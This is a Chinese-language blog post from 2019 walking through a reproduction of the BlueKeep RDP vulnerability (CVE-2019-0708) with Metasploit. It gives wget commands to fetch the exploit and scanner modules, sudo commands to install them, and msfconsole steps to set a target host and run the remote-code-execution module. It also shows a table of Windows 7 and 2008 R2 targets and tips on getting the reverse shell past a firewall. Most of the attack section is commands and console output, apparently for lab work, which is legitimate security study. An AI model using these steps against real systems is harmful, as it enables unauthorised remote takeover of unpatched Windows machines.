Saturday, September 7, 2019

CVE-2019-0708漏洞复现


准备操作

Linux

MacOS



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# Download
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

# Replace
sudo cp rdp.rb /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb
sudo cp rdp_scanner.rb /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
sudo cp cve_2019_0708_bluekeep.rb /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
sudo cp cve_2019_0708_bluekeep_rce.rb /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
注意 还需要关闭系统防火墙 因为用到了反弹Shell

Exploit

开启msfconsole
保险起见执行reload_all
Load module use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
接下来 msf基本操作
查看配置info
设置目标IP set RHOSTS <target ip>
有需要的话需要设置target


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Exploit targets:

   Id  Name
   --  ----
   0   Automatic targeting via fingerprinting
   1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
   2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)
   3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)
   4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
最后 run,遇到蓝屏 多试几次 或者 是哪一步配置出错
成功

自己踩的坑


  1. 需要覆盖的文件没有全覆盖到 -> exploit的时候一直蓝屏
  2. 系统防火墙没有关 -> 一直拿不到反弹Shell (没想到竟然会经过防火墙 以为是一个机子的内部操作)

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